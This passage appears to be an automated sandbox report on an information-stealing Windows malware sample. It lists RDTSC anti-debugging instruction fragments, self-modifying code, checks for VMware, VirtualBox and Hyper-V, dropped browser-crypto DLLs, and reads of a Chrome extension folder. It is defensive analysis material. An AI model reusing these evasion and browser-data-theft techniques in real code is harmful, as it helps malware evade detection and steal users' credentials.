Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C0935 second address: 10C0939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C0939 second address: 10C0943 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9324C341C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C0943 second address: 10C0970 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F93256ABCB6h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F93256ABCC4h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 jne 00007F93256ABCB6h 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C14DB second address: 10C14F1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9324C341CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C1ACD second address: 10C1AE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C1AE8 second address: 10C1AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F9324C341C6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C23C0 second address: 10C23C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C243B second address: 10C2441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C2441 second address: 10C2445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C2445 second address: 10C2482 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F9324C341C8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 add di, 181Ch 0x00000028 mov dword ptr [ebp+122D1CC5h], ebx 0x0000002e xchg eax, ebx 0x0000002f push edi 0x00000030 push eax 0x00000031 push edx 0x00000032 jns 00007F9324C341C6h 0x00000038 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C32A2 second address: 10C32B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F93256ABCBAh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C32B0 second address: 10C3318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F9324C341C8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 sub edi, 1EB68A40h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007F9324C341C8h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 mov esi, dword ptr [ebp+122D29EFh] 0x0000004d push 00000000h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C3318 second address: 10C331C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C331C second address: 10C3320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C3320 second address: 10C3326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C3326 second address: 10C332C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C332C second address: 10C3330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C581F second address: 10C582E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C582E second address: 10C58AC instructions: 0x00000000 rdtsc 0x00000002 js 00007F93256ABCB8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F93256ABCB8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 jmp 00007F93256ABCBEh 0x0000002c mov dword ptr [ebp+1246ACF6h], ecx 0x00000032 push 00000000h 0x00000034 mov edi, dword ptr [ebp+122D2C4Bh] 0x0000003a mov esi, dword ptr [ebp+122D2C27h] 0x00000040 push 00000000h 0x00000042 jmp 00007F93256ABCBEh 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F93256ABCC9h 0x0000004f rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C6E5A second address: 10C6E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C7856 second address: 10C7882 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F93256ABCC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jo 00007F93256ABCC2h 0x00000011 jmp 00007F93256ABCBCh 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10CCED8 second address: 10CCEDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10CCEDE second address: 10CCEE8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F93256ABCBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10CCEE8 second address: 10CCF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jnc 00007F9324C341CCh 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F9324C341C6h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D1147 second address: 10D115E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F93256ABCC3h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D62C1 second address: 10D62C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D62C7 second address: 10D62D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D62D1 second address: 10D633D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F9324C341C8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 push 00000000h 0x00000025 mov edi, ebx 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007F9324C341C8h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 and edi, dword ptr [ebp+122D2B0Fh] 0x00000049 push eax 0x0000004a pushad 0x0000004b pushad 0x0000004c jmp 00007F9324C341D1h 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D633D second address: 10D6346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D6346 second address: 10D634A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10DA30F second address: 10DA313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10DA313 second address: 10DA39A instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9324C341C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp], eax 0x0000000e mov ebx, 5B445A1Fh 0x00000013 push 00000000h 0x00000015 mov bl, dh 0x00000017 call 00007F9324C341D7h 0x0000001c mov dword ptr [ebp+122D5A8Dh], esi 0x00000022 pop edi 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push esi 0x00000028 call 00007F9324C341C8h 0x0000002d pop esi 0x0000002e mov dword ptr [esp+04h], esi 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc esi 0x0000003b push esi 0x0000003c ret 0x0000003d pop esi 0x0000003e ret 0x0000003f xor di, 9D8Eh 0x00000044 mov dword ptr [ebp+122D1F42h], esi 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d jno 00007F9324C341DEh 0x00000053 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10DA39A second address: 10DA3BE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F93256ABCBBh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jng 00007F93256ABCD7h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F93256ABCBAh 0x00000019 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10DB356 second address: 10DB35A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C3117 second address: 10C311D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10C311D second address: 10C3124 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10CF1DB second address: 10CF1F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F93256ABCC6h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10CF1F9 second address: 10CF1FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D021D second address: 10D0227 instructions: 0x00000000 rdtsc 0x00000002 je 00007F93256ABCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D0227 second address: 10D022E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D022E second address: 10D023B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D023B second address: 10D023F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D0395 second address: 10D03AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007F93256ABCC2h 0x00000011 je 00007F93256ABCBCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D2373 second address: 10D2378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D43FD second address: 10D4403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D4403 second address: 10D4415 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9324C341C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D4415 second address: 10D4419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	RDTSC instruction interceptor: First address: 10D4419 second address: 10D441D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 44FD7A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 44FCB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F6EC0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F72D5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 61FF12 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 601957 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 68D4C7 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Special instruction interceptor: First address: F0ECFF instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Special instruction interceptor: First address: F0EBE9 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Special instruction interceptor: First address: 10B5F14 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Special instruction interceptor: First address: 10DEB79 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Special instruction interceptor: First address: F0EBA9 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsEHJKJDGCGD.exe	Special instruction interceptor: First address: 1146A8B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 39ECFF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 39EBE9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 545F14 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 56EB79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 39EBA9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 5D6A8B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	Special instruction interceptor: First address: CF4955 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	Special instruction interceptor: First address: E78F2E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	Special instruction interceptor: First address: CF495C instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsEHJKJDGCGD.exe

Code function: 23_2_05670143 rdtsc

23_2_05670143

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 2688	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7012	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6784	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6784	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5980	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6396	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6396	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6296	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4468	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4468	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6916	Thread sleep count: 73 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6916	Thread sleep time: -2190000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6916	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsEHJKJDGCGD.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB7EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CB7EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001C.00000002.2701192639.0000000000529000.00000040.00000001.01000000.0000000E.sdmp, 7b950b2da4.exe, 7b950b2da4.exe, 0000001E.00000002.2701579658.0000000000E7D000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: Web Data.10.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: Web Data.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: Web Data.10.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.1996260643.0000000000E04000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2703562360.0000000000B69000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2703562360.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: Web Data.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: Web Data.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: skotes.exe, 0000001C.00000002.2703562360.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y*
Source: 7b950b2da4.exe, 0000001E.00000002.2710767131.0000000006BB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\System32\drivers\vmci.sys
Source: Web Data.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: Web Data.10.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: 7b950b2da4.exe, 0000001E.00000002.2710767131.0000000006BB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\System32\drivers\vmci.sys0.sysJ{
